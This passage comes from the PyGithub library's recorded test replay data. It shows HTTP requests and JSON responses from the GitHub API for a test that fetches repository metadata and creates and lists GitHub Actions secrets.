2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":0,"subscribers_count":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testRepoSecrets.txt0000644000175100001660000007616514756101563024252 0ustar00runnerdockerhttps GET api.github.com None /repos/AndrewJDawes/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4759'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '241'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED08:205D:2FD52A:64D453:655930E5')] {"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-18T21:26:15Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11644,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-17T07:50:23Z","pushed_at":"2023-11-18T21:45:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13598,"stargazers_count":6375,"watchers_count":6375,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1692,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":285,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1692,"open_issues":285,"watchers":6375,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-17T07:50:23Z","pushed_at":"2023-11-18T21:45:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13598,"stargazers_count":6375,"watchers_count":6375,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1692,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":285,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1692,"open_issues":285,"watchers":6375,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"}},"network_count":1692,"subscribers_count":0} https GET api.github.com None /repos/AndrewJDawes/PyGithub/actions/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:17 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67399725c68d9a5ee63ce84722fc582053e664007fe7d947d4f7399caa4bc6b5"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4758'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '242'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED09:2F85:2BEDD4:5D16BE:655930E5')] {"key_id":"568250167242549743","key":"xbyho85Ug/ysuXTKJPangp/Yn66bsia6PY55UsDPM1g="} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/actions/secrets/SECRET_NAME_ONE {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} 201 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4757'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '243'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED0A:5026:2BB5FC:5C9525:655930E5')] {} https GET api.github.com None /repos/AndrewJDawes/PyGithub/actions/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67399725c68d9a5ee63ce84722fc582053e664007fe7d947d4f7399caa4bc6b5"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4756'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '244'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED0B:0ADB:1356FD6:28BDD64:655930E6')] {"key_id":"568250167242549743","key":"xbyho85Ug/ysuXTKJPangp/Yn66bsia6PY55UsDPM1g="} https PUT api.github.com None /repos/AndrewJDawes/PyGithub/actions/secrets/SECRET_NAME_TWO {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "568250167242549743", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} 201 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:18 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4755'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '245'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED0C:205D:2FD63C:64D69F:655930E6')] {} https GET api.github.com None /repos/AndrewJDawes/PyGithub {'If-None-Match': 'W/"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"', 'If-Modified-Since': 'Sat, 18 Nov 2023 13:36:18 GMT', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 304 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:18 GMT'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4755'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '245'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED0D:696A:1318BA6:2836623:655930E6')] https GET api.github.com None /repos/AndrewJDawes/PyGithub/actions/secrets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"dfd10ce92e44f142f289edd11124c46ebb0c0b57561186f199c00458d5e5d69c"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', 